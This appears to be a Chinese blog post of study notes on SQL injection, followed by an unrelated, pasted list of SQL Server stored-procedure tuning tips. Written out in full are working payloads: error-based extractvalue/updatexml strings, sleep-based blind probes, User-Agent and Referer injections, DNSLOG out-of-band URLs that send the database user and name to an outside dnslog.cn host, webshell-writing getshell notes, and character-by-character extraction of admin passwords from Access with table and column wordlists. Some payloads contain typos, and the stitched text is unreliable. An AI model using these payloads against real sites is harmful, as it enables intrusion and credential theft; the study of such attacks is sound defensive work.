sql注入小结

  • ·SQL注入定义
    • 通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令目的的入侵行为
  • SQL注入产生的原因
    • 没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,导致了攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得一些他想得到的数据
  • sql注入分类
    • 按数据
      • 数字型
      • 字符型
    • 按返回结果
      • 显示注入
      • 盲注
  • 判断标准

  • 哪些地方存在sql注入
    • 参数名
    • 参数值
    • cookie
    • 目录名
    • 文件名
  • sql注入测试思路
    • 盲注
      • 1.判断是否存在注入,注入是字符型还是数字型
      • 2.猜解当前数据库名
      • 3.猜解数据库中的表名
      • 4.猜解表中的字段名
      • 5.猜解数据
    • 联合查询注入
      • 1.判断是否存在注入,注入是字符型还是数字型
      • 2.猜解SQL查询语句中的字段数
      • 3.确定显示的字段顺序
      • 4.获取当前数据库
      • 5.获取数据库中的表
  • sqL常见函数
    • 报错函数:extractvalue、updatexml、exp、GTID_SUBSET()等(mysql)。
    • 截取函数:left、mid、substr(substring、substrB)。
    • 判断函数:if、case when。
    • 其他函数:ascii、length。
  • 数据库构成
    • 初始化安装mysql数据库后,  会默认创建4个系统数据库

  • 数据库类型判断
    • php的网站,常用数据库为MySQL,PostgreSQL
    • 判断数据库类型:
    • 端口号:
    • MYSQL:3306
    • PostgreSQL:5432
  • 联合查询注入
    • union连接两个以上selectSELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列。
    • 判断注入点列数   使用order by
    • 通过查询数据表不存在的数据,从而执行后面的union语句,来获取显示位
    • 使用联合查询注入爆出敏感数据
    • group_concat( [distinct] 要连接的字段[order by 排序字段 asc/desc ] [separator '分隔符'] )
    • 说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用orderby子句;separator是一个字符串值,缺省为一个逗号。
  • 报错注入
    • SQL报错注入的应用:当使用extractvalue(xml_frag,xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。
    • 而~符号(ascii编码值:0x7e)是不存在xpath格式中的,所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error(xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
    • 报错函数
      • extractvalue():
        • 字符型:'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
        • 数字型:and(extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
      • updatexml():
        • 字符型:'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
        • 数字型:and+(updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1))=1
        • concat()函数用于将两个字符串连接起来,形成一个单一的字符串
  • 盲注
    • 布尔盲注
      • Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
      • 还可以根据返回字节的变化来判断:正常情况下字节是:706,加单引号字节是:722。加两个单引号字节是:706。
    • 时间盲注
      • 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确
      • 使用sleep函数:判断是否存在时间盲注,1'+and+sleep(5)--+。返回超过5秒,说明存在时间盲注
      • 配合if函数使用,测试此poc是否能够利用。可以看到条件成立与否响应的时间差,说明此poc有效。
      • 1'and+if(1=1,sleep(3),sleep(1))--+
  • UA注入
    • 通过修改UA头注入
    • ‘  and updatexml(1,concat(user()),1)  and '
  • refer注入
    • 当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的,大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,一般会把数据插入到某张表中所以可以用报错注入。
    • 修改referer
    • ’ and pdatexml(1,concat(user()),1) and '
  • DMSLOG外带
    • dns在解析时会留下记录  当dns服务器我们自己时, 既可以通过查看日志查询一些信息
    • # 查询当前用户名
    • http://192.168.157.129/sql-labs/Less-1/?id=1'and (select load_file(concat('\\\\',(selecthex(user())),'.682y4b.dnslog.cn/abc'))) --+
    • # 查看当前数据库名
    • http://192.168.157.129/sql-labs/Less-1/?id=1'and (select load_file(concat('\\\\',(selectdatabase()),'.682y4b.dnslog.cn/abc'))) --+
  • cookie注入
    • 对get传递来的参数进行了过率,忽略了cookie也可以传递参数
    • 修改自身cookie , 后台获取到这个cookie后 ,会直接拿去数据库里面进行比较 , 比较的时候就有可能注入。
  • 宽字节注入
    • 数据库使用gbk编码的时候,会将两个字符合并成一个中文。特殊值字符如单引号都会被转义 ' ->  \'(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\
      • 比如sqli-labs第32关,输入单引号会被转义成  \'。
  • 堆叠注入
    • 原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
    • 联合注入和堆叠注入的区别:
    • 区别就在于union 或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
  • getshell 
    • 文件读写
    • 基本要求:是root用户最高权限、知道网站的绝对路径
    • 1、文件读写注入的原理
    • 就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
    • 2、文件读写注入的条件
    • 高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
    • secure_file_priv选项
  • access注入
    • 基本流程
      • 判断数据库类型->判断表名->判断列名->判断列名长度->查出数据。
      • asp的网站,常用数据库为access、sqlserver。
      • 判断数据库类型:
      • and exsits (select * frommsysobjects)>0   access
      • and exsits (select * fromsysobjects)>0      sqlserver
      • 逐字破解法
        • 查表   and exists(select *  from 表名)
        • 查列   and exists(select 列名 from表名 )
        • 查数据:1.确定此条数据字段(列名)长度2.确定asc数据(asc编码)
          • and (select top 1 len(列名) from 表名)=5//top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度。
          • and (select top 1 len(列名) from 表名)>5//判断是不是长度大于5。
          • and (select top 1 asc(mid(列名,位数,1)) fromadmin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
          • and (select top 1 asc(mid(user,1,1)) fromadmin)=97//返回页面正常没有报错,说明user列第一条数据第一位是a,
          • and (select top 1 asc(mid(user,2,1)) fromadmin)=97//user列第2条数据第一位是b....一直猜到len(列名)长度
        • 查表名
          • andexists (select * from admin_user)
          • //表名需要猜,access没有数据库     access数据库的结构为表名-列名-内容数据
          • 常见表
          • admin  --->and exists (select * from admin)
          • admin_user
          • admin1
          • user
          • username
          • manage
          • user_name
          • guanli、
        • 查列名
          • 判断列名:
          • andexists (select admin from admin_user)
          • admin
          • admin_user
          • user
          • username
          • password
          • user_pass
          • pass
          • pwd
          • ad
          • manage
          • passwd
        • 查数据
          • 判断列位数:
          • orderby 7
          • 使用联合查询
          • union+select+1,2,3,4,5,6,7+from+admin_user,爆出显示位
          • 利用上面得到列名,爆出admin、password
          • 猜解管理员账号的第一个数据
          • 通过判断ascii码来判断
          • and (select top 1 asc(mid(admin,1,1)) from admin_user)=97  返回正常说明等于97 (97对应的字母为a),说明admin列第一条数据第一位是a,
          • 以此类推
          • 判断管理员账户的第二数据
          • and (select top 1 asc(mid(admin,2,1)) from admin)=100
          • ...
          • 猜解管理员密码的方法类似。
          • and (select top 1 asc(mid(password,x,1)) from admin)=xxx
        • 偏移注入
          • 解决表名知道列名不知道的情况,同时要求支持union select。
          • 用*号来从最后一个字段数x向前逐个删除来代替,直到显示正常为止,*代表了所有admin表的字段。(有很大的随机性)
          • 如:
          • and 1=2 union select 1,2,3,4,5,,,* fromadmin_user
SQL Server 存储过程是一组 SQL 语句的集合,可以被编译并保存在数据库中,以便重复使用。存储过程可以提高查询性能,减少网络流量,简化复杂的查询过程,使代码更容易维护。然而,存储过程的性能也可能受到许多因素的影响,包括查询语句的复杂性、索引的使用、参数的传递方式等等。下面是一些 SQL Server 存储过程调优的小结: 1.使用 SET NOCOUNT ON 语句:这个语句可以关闭每条 SQL 语句返回的行数,减少网络流量。 2.使用 WITH RECOMPILE 选项:这个选项可以在每次执行存储过程时重新编译查询计划,确保每次都使用最优的执行计划。 3.使用 OUTPUT 参数代替 SELECT 语句:在存储过程中,使用 OUTPUT 参数可以避免使用 SELECT 语句来返回结果集,从而减少网络流量。 4.使用适当的索引:为存储过程中的查询语句创建适当的索引可以大大提高查询性能。 5.避免使用函数:存储过程中使用函数会导致查询计划的重新编译,影响性能。 6.使用临时表:在存储过程中使用临时表可以减少查询语句的复杂性,提高查询性能。 7.使用参数化查询:使用参数化查询可以避免 SQL 注入攻击,同时可以提高查询性能。 8.避免使用大量的 IF 语句:使用大量的 IF 语句会导致存储过程的复杂性增加,影响性能。 9.使用 TRY/CATCH 语句:在存储过程中使用 TRY/CATCH 语句可以处理异常,保证代码的健壮性。 10.使用 SET ANSI_NULLS 和 SET QUOTED_IDENTIFIER 选项:在存储过程中使用这两个选项可以确保查询语句的正确性和可靠性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值